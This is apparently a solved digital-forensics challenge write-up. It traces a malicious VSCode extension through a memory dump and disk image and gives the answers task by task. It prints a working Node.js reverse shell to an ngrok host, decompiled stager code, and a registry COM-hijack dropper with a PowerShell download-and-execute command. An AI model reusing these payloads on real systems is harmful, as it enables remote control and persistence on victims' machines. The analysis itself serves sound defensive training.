ReliableThreat

Medium July 24, 2025

solved

Task 1

I will start off by examining the memory dump. I'll be using volatility3 for this part, as I am already familiar with that tool.

The first thing I'd like to do is get a look at the processes captured in this memdump. I'll run the PsTree module of volatility to get a list of them.

python volatility3/vol.py -f memdump.dmp windows.pstree.PsTree

suspicious

This chain of processes initiated by Code.exe immediately caught my attention. The first one is spawned by explorer.exe, which is normal, but then the process with PID 1612 spawns a command prompt, which executes a very suspicious executable.

C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Public\RuntimeBroker.exe

The real RuntimeBroker is located at C:\WIndows\System32\RuntimeBroker.exe. This fake one is most definitely some sort of a malicious program.

That said, the application that started this suspicious chain of processes is Code.exe.

task1

Task 2

Since the malicious command came from a Code.exe process, I'm leaning towards a malicious VSCode extension being used here.

I'll get a list of all files residing in the memory dump using volatility.

python volatility3/vol.py -f memdump.dmp windows.filescan.FileScan

The exthost.log file records the runtime activity of installed extensions, including any errors, warnings, and other diagnostic output. At the very least, it could serve as a list of installed extensions.

address

With the address in hand, I can extract the file to read its contents.

python volatility3/vol.py -f memdump.dmp windows.dumpfiles.DumpFiles --virtaddr 0x850cd1c29c80

extentions

This 0xS1rx58D3V.ChatGPT-B0T extension looks very suspicious to me. I'll grep through the filescan output, searching for the extension name.

search

I'll try to use C:\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js as my answer to task 2. This extension looks the most suspicious out of the listed ones.

task2

Task 3

I already have the path, name, and address of the malicious plugin. I'd like to extract it to see what it contains.

python volatility3/vol.py -f memdump.dmp windows.dumpfiles.DumpFiles --virtaddr 0x850cd2e704f0

file

This code seems pretty normal. That is, until the else if (userInput.toLowerCase().includes('help')) check.

This is followed by a suspiciously long line, containing values not present in other parts of the code.

I took the obfuscated part and pasted it into an online deobfuscator at https://obf-io.deobfuscate.io/.

obfuscation

const fs = require('fs');
const net = require("net");
const path = require("path");
const os = require('os');
const {
  pid
} = require("process");
const lockFilePath = path.join(os.homedir(), '.' + pid + ".lock");
if (!fs.existsSync(lockFilePath)) {
  fs.writeFile(lockFilePath, '', _0x2452ba => {
    if (_0x2452ba) {
      console.error(_0x2452ba);
    }
  });
  (function () {
    const _0x3db126 = new net.Socket();
    _0x3db126.connect(16587, "6.tcp.eu.ngrok.io");
    _0x3db126.on("data", _0xd34d07 => {
      const _0x45fcf2 = _0xd34d07.toString();
      require("child_process").exec(_0x45fcf2, (_0x460220, _0x254585, _0x3aa38b) => {
        if (_0x460220) {
          _0x3db126.write(_0x3aa38b);
        } else {
          _0x3db126.write(_0x254585);
        }
      });
    });
    _0x3db126.on("close", () => {
      console.log("closed");
    });
    return /a/;
  })();
}

This already gives me an answer for task 4, but first, I'll finish up task 3.

The malicious portion of this script is executed when the user types in help.

task3

Task 4

  (function () {
    const _0x3db126 = new net.Socket();
    _0x3db126.connect(16587, "6.tcp.eu.ngrok.io");
    _0x3db126.on("data", _0xd34d07 => {
      const _0x45fcf2 = _0xd34d07.toString();
      require("child_process").exec(_0x45fcf2, (_0x460220, _0x254585, _0x3aa38b) => {
        if (_0x460220) {
          _0x3db126.write(_0x3aa38b);
        } else {
          _0x3db126.write(_0x254585);
        }
      });
    });  

This function is responsible for establishing a connection to the attacker at 6.tcp.eu.ngrok.io:16587. It then executes any commands sent by the attacker and sends back the received data and results.

Most likely, the attacker used this to execute the malicious RuntimeBroker executable.

I have not found any indicators of the RuntimeBroker being downloaded, which makes the possibility of an insider threat being the cause more realistic. For example, someone could've brought over the malware via a USB stick.

task4

Task 5

To get the display name of the dev, I'll have to go back to volatility again.

This information would usually be stored in a package.json file of the extension. I saw the file and its offset during my earlier operations, so I'll just copy it over from there.

python volatility3/vol.py -f memdump.dmp windows.dumpfiles.DumpFiles --virtaddr 0x850cd16d92b0

package

After opening the file in sublime text, I saw the dev's display name in the metadata section.

name

I'll use it as my answer to task 5.

task5

Task 6

The most accurate way to get an extension's release date would be the visual studio marketplace.

Looking at a legitimate extension like https://marketplace.visualstudio.com/items?itemName=WallabyJs.console-ninja, I can replace the creator/extension name with my malicious ones to see whether it is still available.

lost

As expected, the extension is not available anymore. However, that doesn't mean it's lost forever.

I'll go to the wayback machine, and I'll search for the same link over there. Maybe it has been archived?

wayback

That was indeed the case. I'll pick the earlier date first.

date

And here's the date. However, the website seems to take the timezone from my local configuration, which messes up the timestamp.

To get the UTC date I need, I will take the 7/22/2024, 8:41:19 PM date, and I'll add 4 hours to it. Additionally, I'll change the format to match the expected answer.

With that, my final answer to task 6 will be 2024-07-23 0:41:19.

task6

Task 7

Judging by the earlier filepaths, the compromised user must be User2. I will grep the filelist for the S-1-5-21 string. This should return me every entry that contains a SID.

files

This \Users\User2\AppData\Roaming\Microsoft\Protect\S-1-5-21-1998887770-13753423-1649717590-1001\Preferred path at the bottom confirms the SID of User2.

task7

Task 8

This suspicious executable is most definitely the RuntimeBroker I saw earlier.

Its full path is C:\Users\Public\RuntimeBroker.exe, so I'll use that as my answer to task 8.

task8

Task 9

I extracted RuntimeBroker in the same way as I did with the earlier files. I'll analyze it with ghidra to see exactly what this malware does.

void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  longlong lVar1;
  byte bVar2;
  longlong lVar3;
  ulonglong uVar4;
  undefined8 *puVar5;
  byte *pbVar6;
  uint uVar7;
  uint uVar8;
  int in_R10D;

  FUN_1400040d6();
  puVar5 = *(undefined8 **)(*(longlong *)((longlong)ProcessEnvironmentBlock + 0x18) + 0x20);
  do {
    uVar4 = (ulonglong)*(ushort *)((longlong)puVar5 + 0x4a);
    uVar7 = 0;
    pbVar6 = (byte *)puVar5[10];
    do {
      bVar2 = *pbVar6;
      if ('`' < (char)bVar2) {
        bVar2 = bVar2 - 0x20;
      }
      uVar7 = (uVar7 >> 0xd | uVar7 << 0x13) + (uint)bVar2;
      uVar4 = uVar4 - 1;
      pbVar6 = pbVar6 + 1;
    } while (uVar4 != 0);
    lVar1 = puVar5[4];
    lVar3 = (ulonglong)*(uint *)(lVar1 + 0x3c) + lVar1;
    if ((*(short *)(lVar3 + 0x18) == 0x20b) &&
       (uVar4 = (ulonglong)*(uint *)(lVar3 + 0x88), uVar4 != 0)) {
      lVar3 = uVar4 + lVar1;
      uVar4 = (ulonglong)*(uint *)(lVar3 + 0x18);
      while (uVar4 != 0) {
        uVar8 = 0;
        uVar4 = uVar4 - 1;
        pbVar6 = (byte *)((ulonglong)
                          *(uint *)((ulonglong)*(uint *)(lVar3 + 0x20) + lVar1 + uVar4 * 4) + lVar1)
        ;
        do {
          bVar2 = *pbVar6;
          uVar8 = (uVar8 >> 0xd | uVar8 << 0x13) + (uint)bVar2;
          pbVar6 = pbVar6 + 1;
        } while (bVar2 != 0);
        if (uVar8 + uVar7 == in_R10D) {
                    /* WARNING: Could not recover jumptable at 0x0001400040c8. Too many branches */
                    /* WARNING: Treating indirect jump as call */
          (*(code *)((ulonglong)
                     *(uint *)((ulonglong)*(uint *)(lVar3 + 0x1c) + lVar1 +
                              CONCAT62((int6)(uVar4 >> 0x10),
                                       *(undefined2 *)
                                        ((ulonglong)*(uint *)(lVar3 + 0x24) + lVar1 + uVar4 * 2)) *
                              4) + lVar1))(param_1,param_2,param_3,param_4);
          return;
        }
      }
    }
    puVar5 = (undefined8 *)*puVar5;
  } while( true );
}

The main function operates like a dynamic module locator/hasher, searching for modules and their names via a ROR13 hash calculated during runtime, never mentioning any of them by name. Most likely, it was done to avoid AV and keep the malware stealthy.

void FUN_1400040d6(void)

{
  undefined8 uVar1;
  int iVar2;
  longlong lVar3;
  undefined8 uVar4;
  code *UNRECOVERED_JUMPTABLE;
  undefined8 uVar5;
  char *pcVar6;
  code *pcVar7;
  ulonglong *puVar8;
  ulonglong *puVar9;
  ulonglong uVar10;
  longlong lVar11;
  code *unaff_retaddr;
  char acStack_1a8 [424];

  acStack_1a8[0] = '\x02';
  acStack_1a8[1] = '\0';
  acStack_1a8[2] = 'I';
  acStack_1a8[3] = -0x5a;
  acStack_1a8[4] = '\x12';
  acStack_1a8[5] = -0x3b;
  acStack_1a8[6] = -0x11;
  acStack_1a8[7] = '\x05';
  (*unaff_retaddr)(&stack0x00000000);
  lVar3 = (*unaff_retaddr)(0x101,acStack_1a8 + 8);
  lVar11 = 10;
  puVar8 = (ulonglong *)acStack_1a8;
  do {
    puVar8[-1] = lVar3;
    puVar8[-2] = lVar3;
    puVar8[-3] = 0x14000413b;
    uVar4 = (*unaff_retaddr)(lVar3 + 2,lVar3 + 1,0,0);
    do {
      puVar8[-3] = 0x10;
      uVar1 = puVar8[-3];
      puVar8[-3] = 0x140004150;
      uVar5 = uVar4;
      pcVar6 = acStack_1a8;
      iVar2 = (*unaff_retaddr)(uVar4,acStack_1a8,uVar1);
      if (iVar2 == 0) goto LAB_14000415e;
      lVar11 = lVar11 + -1;
    } while (lVar11 != 0);
    puVar8[-3] = 0x14000415e;
    FUN_1400041f1(uVar5,pcVar6);
LAB_14000415e:
    puVar9 = puVar8 + -4;
    puVar8[-5] = 4;
    puVar8[-5] = 0x140004177;
    iVar2 = (*unaff_retaddr)(uVar4,puVar8 + -4);
    if (0 < iVar2) {
      uVar10 = *puVar8 & 0xffffffff;
      *puVar8 = 0x40;
      *puVar8 = 0x1000;
      uVar1 = *puVar8;
      *puVar8 = 0x14000419c;
      UNRECOVERED_JUMPTABLE = (code *)(*unaff_retaddr)(0,uVar10,uVar1);
      pcVar7 = UNRECOVERED_JUMPTABLE;
      while( true ) {
        *puVar8 = 0x1400041b6;
        lVar3 = (*unaff_retaddr)(uVar4,pcVar7,uVar10);
        if ((int)lVar3 < 0) break;
        pcVar7 = pcVar7 + lVar3;
        uVar10 = uVar10 - lVar3;
        if (uVar10 == 0) {
                    /* WARNING: Could not recover jumptable at 0x0001400041ee. Too many branches */
                    /* WARNING: Treating indirect jump as call */
          (*UNRECOVERED_JUMPTABLE)();
          return;
        }
      }
      puVar9 = puVar8 + 2;
      puVar8[1] = (ulonglong)UNRECOVERED_JUMPTABLE;
      uVar1 = puVar8[1];
      puVar8[1] = 0x4000;
      puVar8[1] = 0;
      uVar5 = puVar8[1];
      puVar8[1] = 0x1400041d1;
      (*unaff_retaddr)(uVar1,uVar5);
    }
    *(undefined8 *)((longlong)puVar9 + -8) = uVar4;
    uVar4 = *(undefined8 *)((longlong)puVar9 + -8);
    *(undefined8 *)((longlong)puVar9 + -8) = 0x1400041db;
    lVar3 = (*unaff_retaddr)(uVar4);
    lVar11 = lVar11 + -1;
    puVar8 = puVar9;
  } while( true );
}

Meanwhile, the 40d6 function serves as a stager that initiates a socket connection to a remote server, downloads a second-stage payload, and then executes it in memory. It uses the main function as an API resolver to find the modules necessary for this process.

While this is all very interesting to me(I made lots of notes), there is nothing mentioned about the registry and registry operations. It could be that registry modification was carried out by the payload downloaded by this malware.

I have not touched the .ad1 file at all until now. It would be the perfect time to take a look at what's stored there. I will be using FTK imager to parse that file, so I'll move to a windows machine for the last 3 tasks.

tempfile

This temp.exe file looks very suspicious. If I remember correctly, this is the same directory from which the RuntimeBroker.exe malware was run by the Code.exe process.

I'll get this file onto my windows machine, and I'll use IDA to analyze it. The file can be extracted via FTK imager by right-clicking and choosing export file.

int __fastcall main(int argc, const char **argv, const char **envp)
{
  DWORD v3; // eax
  HKEY v5; // [rsp+58h] [rbp-28h] BYREF
  HKEY hKey; // [rsp+60h] [rbp-20h] BYREF
  LSTATUS v7; // [rsp+6Ch] [rbp-14h]
  char *Str; // [rsp+70h] [rbp-10h]
  LPCSTR lpSubKey; // [rsp+78h] [rbp-8h]

  _main();
  hKey = 0LL;
  v5 = 0LL;
  lpSubKey = "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell";
  Str = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Powershell.exe -ExecutionPolicy Bypass -Command \"(New-Object Ne"
        "t.WebClient).DownloadFile('http://s1rx.xyz/tmp.exe', 'C:\\Windows\\Temp\\tmp.exe'); Start-Process 'C:\\Windows\\"
        "Temp\\tmp.exe'\"";
  v7 = RegOpenKeyExA(
         HKEY_LOCAL_MACHINE,
         "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
         0,
         0x20006u,
         &hKey);
  if ( !v7 )
  {
    v7 = RegCreateKeyExA(hKey, "open\\command", 0, 0LL, 0, 0xF003Fu, 0LL, &v5, 0LL);
    if ( !v7 )
    {
      v3 = strlen(Str);
      RegSetValueExA(v5, 0LL, 0, 1u, (const BYTE *)Str, v3);
      RegCloseKey(v5);
    }
    RegCloseKey(hKey);
  }
  return 0;
}

This is where the registry operations happen. The malware creates a new open/command subkey under this registry key. It then sets its default value to the chained powershell command.

The open verb is the default action performed when an object is double-clicked. This means that after the malware runs, every time the user attempts to open the program (e.g., by double-clicking the icon), the malicious code will be executed as well.

Now I'll check what program this CLSID resolves to. A quick google search brings me to the correct answer.

classid

Recycle Bin will be my answer to task 9.

task9

Task 10

The attacker achieved persistence by modifying the registry and changing references to a COM(Component Object Model) object. This is a textbook example of a COM hijacking attack, which is a technique labeled as T1546.015 in the MITRE ATT&CK database.

https://attack.mitre.org/techniques/T1546/015/

task10

Task 11

Back in FTK imager, I saw the project directory in the C:\Users\User2 directory, and extracted it.

project

Each of the subfolders has a .git directory.

git

Which means that I can use git to browse logs, look through commits, and, most importantly for this task, diff commits to look for changes made by the attacker.

log

There are multiple commits in the laravel directory. I'll run git diff on the most recent commit hash.

webshell

The attacker has added a webshell to the index.php file. With this piece of code added, they could execute commands on the server easily via the s1 parameter while visiting the index page.

This addition will be my answer to task 11.

task11

Solved!

Contents